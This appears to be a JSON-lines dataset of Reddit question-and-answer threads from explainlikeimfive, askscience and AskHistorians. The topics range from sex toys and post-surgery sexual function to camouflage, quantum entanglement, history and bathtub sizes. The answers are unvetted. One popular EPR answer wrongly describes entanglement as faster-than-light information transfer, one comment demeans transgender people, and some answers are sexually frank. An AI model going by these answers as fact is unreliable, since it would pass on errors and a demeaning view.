{"q_id": "44nlnb", "title": "why are vibrators/dildos seemingly so much more socially acceptable than fleshlights? (especially in film)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/44nlnb/eli5_why_are_vibratorsdildos_seemingly_so_much/", "answers": {"a_id": ["czrf6xj", "czrfxkj", "czrg6da", "czrg9v9", "czrgfa1", "czrh0vh", "czrhlvg", "czrho2w", "czrhx7r", "czrj260"], "score": [436, 59, 10, 11, 22, 3, 3, 6, 8, 2], "text": ["lock and key cultural stereotype. there is the idea that since men want sex more than women, if a guy can get a lot of sex from women, he's applauded. if a woman gets a lot of sex from a guy, she's abhorred.\n\ncombined with more modern ideals, if a woman has a dildo she's empowering her sexuality, while if a man has a fleshlight it means he can't get laid.", "Easy for women to get sex. If she has a vibrator it means lots of men aren't good enough for her.\n\nHard for men to get sex. If he has a fleshlight it means he isn't good enough to be worthy of the affections of any women.", "i think it has more to do with functionality.   understandably a dildo can do things that you cant do with your hands.   dudes have no problem accomplishing the desired effect with their hand and lotion.  when i hear about a dude with a fleshlight,  i think that that guy must be really dedicated to masturnation/porn.  the same isnt necessarily true with women and dildos. ", "I think it has something to do with how long the products have been known to the general public as well. Ask your great grandma what a dildo is and she'll probably be able to tell you, but have no idea wtf a fleshlight is. Owning a dildo was probably as controversial for her generation as owning a fleshlight is for ours. Give it a decade or two for people to get used to the idea and fleshlights won't be a big deal.  \n", "Maybe it's the name? Fleshlight is really ambiguous and just sounds gross..   what about calling it a fucktube? Clears up any questions, don't ya think?", "As part of my job I had to go into the building that contains the Canadian distribution warehouse for Fleshlights. I was trying to explain them to my boss but he couldn't grasp that there was no light involved.  And no they weren't giving out free samples. ", "Question, how is a fleshlight cleaned? Do you unscrew the back and use soapy water? \n\nI'm just asking for research", "Sexuality is a simple, but complex topic. When a woman is seen with a dildo, people generally think that there aren't many men to meet her expectation. When people see a guy with a fleshlight, they think he's not getting laid.", "Uhh, maybe it's your circles. I'm a guy and there are definitely a few of us who have all admitted to having a fleshlight. No shame. People masturbate. Water is also wet.", "Did you feel like asking this question after watching Zack and Miri Make a Porno or was it just a random thought? Was just wondering since they touched on this subject for a short part of the movie lol."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "2gv6rt", "title": "does someone who has undergone a sex change still feel pleasure during sex? if so are they still able to achieve orgasm?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2gv6rt/eli5_does_someone_who_has_undergone_a_sex_change/", "answers": {"a_id": ["ckmsmw0", "ckmsvf3", "ckmtbef", "ckmtvrl", "ckmu568", "ckmvz15", "ckmw1ni", "ckmw23z", "ckmwynp", "ckmx6jw", "ckmx9s3", "ckmxh8v", "ckmxi33", "ckmyqor", "ckmzbe8", "ckn0py0", "ckn332m", "ckn4epa", "ckn6x5f"], "score": [307, 1533, 944, 8, 85, 25, 14, 11, 3, 8, 16, 65, 34, 3, 3, 3, 5, 5, 3], "text": ["Yes and yes. It's the same tissue with nerve endings and such.  Better results with better surgeons. One of the best with more advance techniques is in the US and is trans and a lesbian herself. ", "I just had my operation in February and let me tell you the answer is a resounding yes.  Also the orgasms are MUCH MUCH better then they ever were before the surgery.  The first time I orgasmed after my surgery I was literally unable to walk for about 10 minutes afterwards.\n\nAs for the how, basically only clitoral stimulation feels good.  Penetration feels psychologically satisfying, but physically it doesn't really feel like much.  I've heard from several cis women that this is the case for them as well so it doesn't seem like I'm missing out on much.\n\nEdit:  Thanks for the gold stranger!  I never thought I'd get my first Reddit gold for talking about my vagina!", "Largely already answered by actual transgendered people, but from a medical standpoint the nerve endings that are responsible for sexual pleasure aren't removed during gender reassignment surgically, they're just moved around and reorganised along with the rest of the tissues and reproductive organs.", "How would you offend someone?", "breecleave has answered the experiential bit, but just to add a bit of scientific \"how\".\n\nto *grossly* oversimplify, the MtF surgery involves turning the penis inside out and tucking it all into the body cavity, then resolving all the plumbing issues that come from that. all of the nerves should still be there and work.\n", "This might sound like a weird question, but can anyone link any photos of post-op vaginas after they've healed? Just curious as to how realistic they look.", "Just a note to add on (as it seems like most of the people responding are talking about FtM surgery):\n\nMtF surgeries, by and large, go better functionally than FtM surgery, because MtF surgery is simpler.  From my (absolutely not expert) understanding, they can't actually use a ton of the genital tissue/nerve endings when building a penis, but they can keep all of it when turning a penis into a vagina.  Trans folks that I've talked to seem to have very good results in terms of sensation from MtF surgery, and less good results for FtM surgery. \n\nI know some trans guys who are not at all interested in having FtM surgery for this reason.  \n\nEdit: /u/danthetransman has a great reply elsewhere describing how much better FtM transitions have gotten.  I was only aware of the second he discusses (phalloplatsy) which has gone poorly for some people I personally know.  ", "I have a related question for post op peeps; how long after meeting someone you're interested in sexually do you tell them, if at all?", "The short answer is that today's surgical techniques can preserve the bulk of the nerve endings. The early sex change operations destroyed many.", "Yup.\n\nI just cranked one out, can confirm.", "As a guy whose partner is about to start hormone treatment I can say we have both researched it and as long as the surgery goes as expected there shouldn't be a problem in regards to pleasure.\n\nWe are both well aware of the things that can go wrong too and that part is quite scary.", "I'm a post op-transwomen so, here's my experience.  Having not had sex before my operation I cannot say if it's 'still pleasurable' but I can confirm that it is a pleasurable experience.\n\nNow, I'm entirely positive about my experience, and my results but it's not 100% ideal.  I have numbness around the lips and entrance and it's been a year so I can expect this to be the final result.  Also, I get next to nothing from penetration, it's a fun feeling and and I enjoy, but I wouldn't call it excitingly sexual.\n\nClitoral stimulation is entirely functional however, but learning to use it took a while.  Now, I've never been a sexual person, but I did masturbate every few weeks and I would like to retain that, so every few months after the operation I tried and failed.  It wasn't until my new boyfriend played around down there unexpectedly with his fingers when I was very aroused that I orgasmed easily and, embarrassingly quickly\n\nSo, since the operation I believe being the correct mood is much more important, the entire set up is much more temperamental but works to a pleasurable degree.  My boyfriend has gone down on me and had no comments about anything being amiss either, so on that side it's positive as well.\n\nSorry if this was rambling a little much, but I felt it adds some information that you may not have heard from other trans women who simply say 'it's awesome, yay.'\n", "but what about f to m?", "This is very interesting, but so far the comments have been entirely from MtF perspectives. Can any FtM's share their experiences?", "I know a MTF woman and she said after her surgery her orgasms are a million times better and her whole body feels it", "Anyone here have the female to male surgury done? What does your leg look like after its all healed up? Is it noticeable?", "Serious question, though the downvote brigade will be on me like a pack of wolves, frothing at the mouth...\n\nWhy is the desire to chemically and physically mutilate yourself to an outward approximation of the opposite gender not considered an illness? I mean, you have people who wish to have their limbs cut off, or even people who want to become paralyzed. Yet this isn't considered \"natural\" and all that.\n\nI just can't understand the mindset of someone willing to undergo the procedure, nor those who look at them and go \"yeah, that's normal\". It's not hate, simply bafflement. You were born a biological gender, and though you might be psychologically messed up regarding your internal identity and feelings toward that... you can't change it. It's not like you can get rid of the Y chromosome.\n\nWould appreciate some explanation in this regard.", "For those who are curious about what it all looks like, there is an excellent, non-pornographic website out there that features progress photos not just of the genitals but \"top\" surgeries and hormone replacement folks as well.\n\n[The site is called Transbucket.]( _URL_0_)\n\nIt requires an account be created for access but, if you're curious, it's a small price to pay for satisfying your quest to know more.", "I can also sort of speak for me and my partners experience from a pre-surgery perspective. \n\nPossible TMI to those IRL people who know my user name.\n\nMy partner is Male to Female and I am cis female (no intention of changing genders for translation) and we are on a wait list for the surgery (maybe five years away). \n\nIn the meantime we make do with what we got. While she has her bits she was born with she does not use them the way one would think when there is a penis (which we now refer to as her \"clit\" and treat as such during play) and vagina in a partnership. \n\n  We rely on a bunch of manual, toys and oral stimulation to get each other off like any set of lesbians. Not to say that penis in vagina sex isn't fun (we had a son before she started hormones so we definitely like that), just it is quiet literally impossible for her to maintain an erection long enough to use it... ahem... effectively. \n\n  That said, even before her surgery she has different \"kinds\" of orgasms depending on the type of stimulation. She has what we call her \"male orgasm\" which comes from our \"clitoral\" stimulation. This orgasm however because of the hormone therapy does not produce semen during orgasm, maybe some precum for lubrication or minor emission but her production has stopped long ago. How she moves during this orgasm is very different as well (she does this little crunch and cling to you maneuver). \n\n  Now for her \"female\" orgasm we get from penetrative sex using toys or again manual stimulation on her g-spot (and as she only has one hole and male anatomy currently you can probably do the math about what I am talking about). Again how she moves during this orgasm is very different, full body rolling body arching toes curling orgasm that can blend one into the other, while the male one once she is done she has to stop.\n\n\nThat being said, from my own experience as a cis female and having experienced orgasm from clitoral, g-spot and penetrative sex, the way she describes the different orgasms after hormones and our own exploration of stimulation on her sounds very similar to my own peaks and valleys experience. \n\nSo in the end... maybe we aren't very different after all. After all it's not what you got down below the belt... it's how you use it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.transbucket.com/"], []]}
{"q_id": "1jmn4f", "title": "Why is digital (square shaped) camouflage more effective than traditional (rounded) camouflage?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1jmn4f/why_is_digital_square_shaped_camouflage_more/", "answers": {"a_id": ["cbg6p8c", "cbg83h4", "cbgdlf4", "cbgep4c", "cbggf0e"], "score": [142, 68, 6, 12, 3], "text": ["I'm currently looking for the article, but in brief, there is no conclusive evidence that digital camouflage is any more effective than traditional \"splotchy\" camouflage.  The reason for its adoption has to do with the ease of printing digital patterns and, frankly, style.", "This is a very intriguing question! It turns out it's not just *not* better, it's worse. The digital camouflage [didn't perform as well as other designs](_URL_2_) in tests and is being removed. The biggest issue was that it [didn't work well in Afghanistan](_URL_1_). \n\n**Edit:** I should point out that the issue with this camo specifically is the color pattern they chose. Canada uses CADPAT and the US Marines use MARPAT with better results. The digitization process can be used to create micropatterns that maximize the disruptiveness of the design using feedback loops and fractals. [This site](_URL_3_)  describes the process.\n\nOne of the developers for the Marines' uniform was recently interviewed by the [NYT](_URL_0_). \n\nI got distracted that UCP was so disliked and neglected to actually answer the question I was researching.", "Im in the Navy and i was actually told that we use the Digital Blue pattern because it hides stains and such better (although im not sure of the truth behind this). However they are trying to change all of the working/combat uniforms to a single pattern. ", "\"digital\" patterns are not magically more effective than \"traditional\". The US Army, along with many others are currently using a camouflage that is in the \"traditional\" style, but is vastly more effective then the digital pattern originally used in Afghanistan.\n\n[The newest US Army pattern, with some images from testing.](_URL_0_)\n\nMany soldiers were complaining that the digital pattern (very specifically the US Army pattern) wasn't effective.\n\n\nAbove all else, every camo has good and bad too it, a place where its nearly invisible, and a place where it sticks out like a sore thumb. The actual shapes of the pattern itself really have minimal weight in the effectiveness of the pattern, compared to the colors/shades of the pattern, how and where it is used, and things like ambient light even.", "The digital camo pattern you're probably thinking of was a [complete bureaucratic clusterfuck](_URL_0_) proven to be highly ineffective during testing and which nobody who was going to wear it actually wanted, but was chosen anyway regardless.\n\nIt's now being phased out in favor of *designs that offer camoflage*."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.nytimes.com/2013/05/12/magazine/who-made-that-digital-camouflage.html?_r=0", "http://kitup.military.com/2013/05/army-chief-camouflage-coming.html", "http://www.slate.com/articles/health_and_science/science/2012/07/camouflage_problems_in_the_army_the_ucp_and_the_future_of_digital_camo_.single.html", "http://www.hyperstealth.com/digital-design/"], [], ["http://imgur.com/a/7PLcM"], ["http://en.wikipedia.org/wiki/Universal_Camouflage_Pattern"]]}
{"q_id": "2f3sbr", "title": "why couldn't the government or a rich business place bounties on all members of isis like the wild west with outlaws?", "selftext": "(Based on my post in similar thread):\n\nSay bank/oil company/govt pays $10k to anyone with reasonable evidence of killing an ISIS fighter.\n\nAssuming there is 20,000 ISIS fighters, and enough insane US or other foreign ex SOCOM operator types, you'd \"only\" need $200m to eliminate them right?\n\n\nEDIT: to everyone saying \"because its illegal\" -- I should rephrase the post to: \"... a willing government, or a bank/company in a country who would permit it\".\n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2f3sbr/eli5why_couldnt_the_government_or_a_rich_business/", "answers": {"a_id": ["ck5mx5m", "ck5n241", "ck5nbmn", "ck5nwfx"], "score": [11, 2, 9, 2], "text": ["A private company sanctioning the murders of foreign nationals is a practice which is frowned upon. By which I mean it's highly illegal. \n\nI'll pretend it's not though. I don't know what your basis for thinking that there are *only* 20,000 members of ISIS, but you're wrong. As with most successful terrorist groups, their ranks are porous and constantly changing. It's hard to know who's actually involved, and each time you kill someone by mistake, someone else joins their group. ", "contract killing is very illegal, and should one be carried out, both the killer and the employer would be charged with murder, so should someone with $200m to spare start paying out bounties, he or she would then be guilty of 20,000 murders (assuming 20,000 people were killed).  Also, there is the matter of membership confirmation.  How do you prove the dead guy is or is not really an ISIS member?  You will probably just end up with a bunch of guys turning in random corpses saying they are ISIS fighters ", "Because it would be promoting fairly indiscriminate murder without oversight.\n\nIt didn't work too well in the wild west either. To get around the problem of people having to drag dead bodies around, they simply asked for \"proof\".\n\nTurns out that there's a lot more people with dark hair than just the hostile indians. And there's a lot of unscrupulous people who realize that they'll get paid no matter which dark haired people they kill. \n\nHell, there's probably dark haired people who put up less of a fight than hostile indians!", "It's illegal **for a reason.** Similar practices have been set up throughout history, Leopold's Congo, Australia, and yes, Western Frontier bounties. The improperly trained men that would pursue these bounties would have a incentive to kill as liberally as possible. We have romanticized the notion in media, as it gives a plausible reason for a free agent protagonist to seek out a conflict with an antagonist, but these systems usually end up with a lot of murder with scant evidence collected after the fact, to justify the mass killing of a lot of brown people. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "31qau6", "title": "What did people do on really long trips?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/31qau6/what_did_people_do_on_really_long_trips/", "answers": {"a_id": ["cq3y9fk"], "score": [2], "text": ["Generally speaking, they worked. Modern conveniences have led to a tremendous potential for idle time, but that was not so historically. Someone on a ship typically had a job, which kept them quite busy. Even on an overland trip there is an enormous amount of work to be done. Water must be collected. Food must be prepared. Fire must be made. Clothes must be washed. Horses must be tended. And so on and so forth."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ax4y40", "title": "what the hell does 8/7c mean in america? like, when a tv show is airing at 8/7c, what does that mean?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ax4y40/eli5_what_the_hell_does_87c_mean_in_america_like/", "answers": {"a_id": ["ehr8lf3", "ehr8mpl"], "score": [30, 6], "text": ["8pm eastern time, also known as 7pm central time zone (and 6pm mountain time zone, 5pm Pacific if those are broadcasting at the same time)", "8:00pm using Eastern Standard Time, 7:00pm using Central Standard time. \n\nAmerica is big enough to have multiple time zones that are still within a Television network's domain. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2vfa8g", "title": "What consisted of the Wehrmacht \"mobile defence\" on the eastern front in World War 2?", "selftext": "I was watching a history documentary about D-Day when it was mentioned that the new German Panzer V excelled on the eastern front since it was perfect for \"mobile defence\" which the documentary mentioned was \"the last hope for the wehrmacht\" on the eastern front. What was this mobile defence? How was it conducted? What strategical defence ideas did the Wehrmacht adopt against the red army aside from the designated fortress ideas? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2vfa8g/what_consisted_of_the_wehrmacht_mobile_defence_on/", "answers": {"a_id": ["coh4cox", "cohaxge"], "score": [7, 3], "text": [" >  What strategical defence ideas did the Wehrmacht adopt against the red army aside from the designated fortress ideas?\n\n\nThe reference is being made to the 'elastic' strategic defense being conducted by Manstein between the space of time between the defeat at Stalingrad and the defeat at Kursk. The principle of Elastic Defense would remain well after 1943, but it would never be conducted with such power or skill afterwards; and the introduction of the Panther is largely transitory. In this regard the documentary is missing the point completely. Panzer Vs equipped the Panzer Brigades that took part in these 'fire brigade' defensive actions, but they were far from the key to their successes; in fact, by the time the Panther was in service, the fire brigades could do no nothing past local counterattacks, really.\n\nDuring the aforementioned 42-43 era of elastic defense, Manstein counterattacked with entire corps; the counterattacks were large, co-ordinated and very much capitalized on the tactical edge the Germans still possessed at that time. The result would often be the destruction of several assaulting RKKA Corps, or even Armies, with little relative loss in men or material for the Germans. The principle was not gaining the Germans any ground, yes, but it was preserving their forces and thus allowing them to grow, rather than deplete. \n\nThe reason the 'elastic defense' was so important in Manstein's thinking is because of the disaster wrought by having foot and horse-laden formations attempt to fall back from the infinitely more mechanized RKKA in the event of a breakthrough; it would not happen. Rather than keep what few Panzer divisions Army Group South had with their repsective formations, they were concentrated into Panzer Corps, such as Hausser's SS Panzer Corps, and used to bludgeon back breakthroughs before the Soviets could create larger victories out of local successes. It was a tacit acknowledgement that  (1) the Germans were incapable of holding the front and were stretched far too thin and (2) they were in reality (and at large) a rather backwards, unmechanized army in relation to their foes on either front.* Manstein therefore sought to keep what few mobile formations he had concentrated and ready to counterattack, rather than waste them fighting in local area defenses. As the infantry fell back, the mobile formations would roar forwards, smashing or enveloping their pursuers before a retreat became a rout. Hence the term 'elastic defense'; rather than break, the line would stretch, then rebound.\n\n\n*I highly recommend you read \"Mechanized Juggernaut or Military Anachronism?: Horses and the German Army of World War II \" by DiNardo, which illustrates just how few units in the German army were capable of mobile operations.\n", "On top of the below answer I'd recommend the book Panzer Battles by Maj Gen F W von Mellenthin on the use of German Panzer forces in the Soviet Union. I always recommend this before the more popular work \"Panzer Leader\" by Guderian. Von Mellenthin was a field commander as opposed to Guderian who was a Staff Officer, so the first lived it from the front line. \n\nVon Mellenthin addresses the mobile warfare of the beginning and the mobile defensive warfare once they realize how difficult was to contain Soviet waves once Germany lost the initiative."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "empwzx", "title": "why is neutralization an exothermic reaction?", "selftext": "From what I know and read, bonding atoms release energy in the form of heat. Can someone explain it in details? Using HCl + NaOH reaction as an example will be helpful as well.\n\n\\-Thanks in Advance!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/empwzx/eli5_why_is_neutralization_an_exothermic_reaction/", "answers": {"a_id": ["fdq90a0", "fdqaprm"], "score": [27, 3], "text": ["First let's keep in mind that the rule is as follows:\n\nBreaking a given bond is always endothermic\n\nForming a given bond is always exothermic\n\nWhen we talk about whether a ***reaction*** is exothermic or endothermic, we are talking about the summation of the individuals bonds broken and formed and the net energy release or absorbed.\n\n For example, dissociating Na from OH is endothermic. Same for H and Cl. But the bonding of Na and Cl, and that of H and OH, is exothermic. To know whether the neutralization reaction releases or absorbs energy, you need to know whether the energy needed for the endothermic part is less or more than the energy released by the exothermic part.\n\nIf you look at how much energy it takes to break Na from OH and H from Cl, then how much energy you get for bonding Na and Cl and bonding H and OH (you can do that by looking at heat of formation tables and such), you sum those and realize you at the end of the reaction, there is net release of energy, which is why it's exothermic.", "If you have something reactive and it turns into something less reactive it means it has lost energy, energy it loses though heat"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "45eyvm", "title": "the epr paradox", "selftext": "My friend apparently **dabbles** in quantum mechanics and was talking about the epr paradox with unnecessarily big words. He refused to talk about it in an ELI5 format and now I have no idea what it is. Explain?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/45eyvm/eli5_the_epr_paradox/", "answers": {"a_id": ["czxbp4e", "czxenb2", "czxsvbw"], "score": [6, 44, 5], "text": ["As far as we know, things have to be nearby to interact. However, according to the quantum mechanics equations, there is a scenario where two things far apart influence each other without sending particles or waves. Einstein thought that was nonsence and considered it a paradox. Calling it \"spooky action at a distance\".\n\nWe now know Einstein was wrong, and the math was right, bizarrely enough.", "So based on the quarter example here I'll try it too.\n\nYou have two quarters. I flip one, you flip one. Eventually we see that there is no correlation between which one comes up heads and which one comes up tails. No surprise.\n\nWe \"rub\" the quarters together vigorously (I'll explain in a second) and I keep one in my fist without looking at it. I pass the other to you and tell you to keep your fist closed around it.\n\nI tell you that by rubbing the quarters together I have \"entangled\" them.\n\nI explain to you that now that we know the quarters are entangled something \"magical\" is about to happen.\n\nWhen our quarters are entangled, if I open my fist and see that my quarter is \"heads-up\" in my palm, I **immediately and definitely** know that your quarter is also heads up.\n\nYou think this is a neat parlor trick. So I step up my game and we entangle the quarters again. And again. And again. A thousand times again.\n\nAs long as the quarters are entangled, when I (or you) open up our hands to look at the quarter, we both know immediately and definitely what the other person's quarter is too (heads up or heads down).\n\nWow, you think. There **must be** some sort of \"connection\" between these two quarters. The entanglement is somehow \"uniting\" or \"connecting\" these two quarters. WTF?!?\n\nThen we add the final piece of our analogy.\n\nYou get a bright idea. You remember from your HS physics class that nothing, not mass, not energy, not information, nothing can exceed the speed limit of electromagnetic energy waves - **c** at about 300,000 km/sec is the universal (literally) speed limit.\n\nSo you decide to test out this theory with our quarters and entanglement.\n\nWe rub the quarters together and \"entangle\" them. You keep one in your closed fist, as do I.\n\nYou then go on a \"space journey\" to the Andromeda galaxy, never opening your fist. I too, never open my fist.\n\nWhen you get there, you open your fist and lo and behold, *whatever side your quarter is on (heads up or down), my quarter is in the same state!*\n\nOne limiting factor in this analogy is that the quarters are definitely either heads up or down in our fists.\n\nIn quantum mechanics, the quarters are **neither** heads up or heads down *until we make the measurement*.\n\nAnd THAT is the key point. How the fuck did the quantum particles that were in a superposition of all possible states \"know\" what the other particle was doing when it settled on its final state.\n\nHow did the particle in the Milky Way galaxy get the information of its state to the other particle in the Andromeda galaxy?\n\nEntanglement.\n\nSpooky action at a distance.\n\nFaster than light information transfer.\n\nWormholes in other dimensions.\n\nCrazy!\n\nHope that helps a little :)", "Before I even begin to read any of the comments and learn a bunch of stuff it's important that you know that I hate your dabbling friend.  The heart hates what the heart hates."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "dm6sl1", "title": "after experiencing something fun i tend to feel a feeling of regret and that i should have spent time doing something more productive (studying, working out and/or working). is this due to the way i was brought up, seratonin levels, the rewarding system, genetics and/or a combination of these?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dm6sl1/eli5_after_experiencing_something_fun_i_tend_to/", "answers": {"a_id": ["f4yp81o"], "score": [8], "text": ["We live in a world were we are constantly reminded how fast time goes by. We are being told time is precious and we must use it wisely. We are told that in order to succeed we have to spend time working hard. We see so many success stories were we hear how much time was being put in the grind to get to the top. \n\nMy question for you is this: What do want to achieve at the end of your journey?\n\nThe correct answer for this question is comfort. You need to put the hard work upfront in order to achieve the desired comfort. You don't have to feel regret if you experience that comfort from time to time.\n\nWe want money, wealth or success so we can do fun things, care free."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3itysr", "title": "The species Brassica oleracea includes many common vegetables such as broccoli, cauliflower, kale, cabbage. What kinds of genetic changes led to the diversification of this species?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3itysr/the_species_brassica_oleracea_includes_many/", "answers": {"a_id": ["cujq63c", "cujrpe1"], "score": [14, 15], "text": ["Not a plant development expert,  and not sure if the genetic screens have been done,  but these sort of changes are typically subtle,  involving changing timing of expression of genes as the plant grows. No new functions are needed for these changes,  just altering the expression patterns or timeline at which genes get activated during development. I would expect most of the changes you see are changes in the promoters and regulatory regions of genes,  siRNA,  etc. ", "/u/superhelical has given a great first answer.\n\nI thought it would be worth also noting that the amount of change accumulated will likely depend on the cultivar. The original wild brassica oleracea is a scrubby weed that looks vaguely cabbage-y and is adapted for coastal living. \n\n_URL_1_\n\nCultivated strains are divided in to 7 main cultivar groups. You can roughly place them on a continuum of morphological divergence starting with the wild type and getting getting increasingly different in shape.\n\nKohl rabi is very similar to the wild plant (aside from the swollen stem); kales and collard greens show marked changes to the leaf structure but retain much of the same stem organisation; cabbages are more distinct again with highly changed leaf and stem structure, and cauliflowers and broccolis are similar to one another and markedly different to the rest. \n\nTo a first approximation you would probably hypothesise that culitvars with the greatest degree of morphological change have also accumulated the greatest degree of genetic change/adaptation. \n\nB.oleracea cultivars are an important crops so the genome sequence has been completed and published and there is an ongoing B.oleracea genomics databasing project to help study the genetics in fine detail.\n\n_URL_2_\n\n_URL_0_\n\nFrom my quick survey it looks like most of the genomics comparison work so far has been done comparing B.oleracea with B.rapa (turnips, oilseed) and A.thaliana. Mostly this highlights gross genomic rearrangements. For now it looks like the specific changes related to only B.oleracea morphological changes have not yet been studied in great detail."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.ocri-genomics.org/bolbase/", "https://en.wikipedia.org/wiki/Brassica_oleracea#/media/File:Brassica_oleracea0.jpg", "http://www.nature.com/ncomms/2014/140523/ncomms4930/full/ncomms4930.html"]]}
{"q_id": "3mlx7r", "title": "HBO's John Adams implies Hamilton and others rigged the first US Presidential Election to give Washington a landslide, in the interest of national unity. Were they basing this on anything historical?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3mlx7r/hbos_john_adams_implies_hamilton_and_others/", "answers": {"a_id": ["cvgcrpg", "cvgv9qk"], "score": [56, 201], "text": ["Follow up question:  Does anybody have any info on how early elections were overseen to avoid electoral fraud?", "We should be clear that Hamilton did not *rig* the election. The early Electoral College operated differently than today. At the time, each elector was bound to vote for 2 people, one of which could not be from their state. They didn't vote separately for President and Vice President. The second place vote receiver would become Vice President. Everyone understood that Washington was the choice for President and Adams for Vice President, but if all the electors voted for both Washington AND Adams, that would have left them tied. Then, the election would have been thrown to the House to resolve. This very thing would occur in the fiasco of 1800. Hamilton saw this danger and wanted to make sure that there was no confusion over Washington's election. He wanted to make sure that plenty of the other electors didn't pick Adams for their second vote, ensuring the election would be smooth.\n\nIt's true that Adams and Hamilton were not friendly and would become less so over the rest of Hamilton's life, but I haven't seen convincing evidence that Hamilton urged electors to avoid Adams due to any sort of vindictive motive.\n\nI'm drawing from Wood's *Empire of Liberty* and Middlekauff's *Glorious Cause*."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4712zt", "title": "in the age of digital books and online publications, why are dashes still used when a word is too long to fit into one line?", "selftext": "Weren't dashes an effective solution when using typewriters? But now, WHY?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4712zt/eli5_in_the_age_of_digital_books_and_online/", "answers": {"a_id": ["d09cdkc"], "score": [16], "text": ["You can't make your line of text indefinite--well, you can, but it makes for very uncomfortable reading. Compare reading a sentence the length of your entire screen versus one broken up over several lines\n\nWhen you have multiple lines, you must choose how to align them. If you left-align, there might be some space left over at the right side of the page, it'll be irregular. You can right-align for the opposite effect. \n\nBut what if you want neither, and want alignment on both right and left? This is called justifying. But the extra space that shows up when you have lines of unequal length still has to go somewhere--in this case, the space between words is variable. This also makes for uncomfortable reading, and large spaces can look quite silly.\n\nHyphenation is a way to solve this problem. It allows you to break up words in the middle, so that all justified lines can be of roughly equal length, avoiding unsightly spaces and making a neat block of text. It is not a technical restriction, but a conscious choice by typographers to use justification and hyphenation (which should always be used together, by the way, to avoid ugly spacing) instead of left and right alignment.\n\nFor more information, I recommend *Practical Typography*'s very useful chapters on [justification](_URL_1_) and [hyphenation](_URL_0_). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://practicaltypography.com/hyphenation.html", "http://practicaltypography.com/justified-text.html"]]}
{"q_id": "e9utut", "title": "why are bathtubs always slightly smaller than an adult?", "selftext": "basic common bathtubs are always specifically 5 1/2 feet long and 2 feet wide (ish), \n\nbut wouldn't 6 feet by 3 feet make more sense, since humans are taller than back when bathtubs were made?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e9utut/eli5_why_are_bathtubs_always_slightly_smaller/", "answers": {"a_id": ["falulsc", "faluoxh", "falxiup"], "score": [20, 4, 8], "text": ["A standard alcove style bathtub (the one surrounded by 3 sides, possibly it AND the alcove are one big piece?) is more typically 60\" long, or 5 ft.  Which, for most people, is still \"long enough\". Remember, bathtub sizes aren't designed for people to be able to lie flat out in. They're designed to be long enough so your butt and legs are flat. While humans are getting taller, over half of your body height (typically) is in your hips downard, say 60%. And 5\" less the two inches of lip around the outside is still enough for anyone who isn't 7\" tall or has freakishly outsized legs to sit comfortably. To submerge the rest of you on the other hand...\n\nAnyways - the reason why so many bathtubs (and sinks and toilets for that matter) fit a standardized profile of sizes is because they're hard to change. If you go and get a larger sofa, who cares. You don't have to renovate your entire living room, maybe just move some other stuff around. \n\nIf you go an get a bitter bathtub or a toilet or sink... you're doing a who renovation on your bathtub and most likely some walls are moving.  So to allow homeowners to replace or change fixtures without having to reno the entire bathroom, vendors stick to similar sizes and conventions.\n\nI feel your pain tho. I'm 6' 2\" with most of that in long legs. I can have a nice relaxing bath submerged with my legs folded up sticking up and out. If I want to wash my legs the rest of me is getting cold.", "Because basic/common usually means cheap.  People buying cheap tubs probably have cheap (ie, small) bathrooms.", "1) You are not suppose to be able to lay down in a bathtub. They are designed for the average person to sit in them at an angle with their head and shoulders out of the water. \n\n2) Bathrooms are designed to be as small as possible and still fit all the needed things into them unless you specifically spend the money to make a larger bathroom. As such once the standard size of tub was established that is the size a bathroom becomes. \n\n3) In the US at least most people prefer showers so there is not a lot of pressure to change the standard size of a bathtub."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
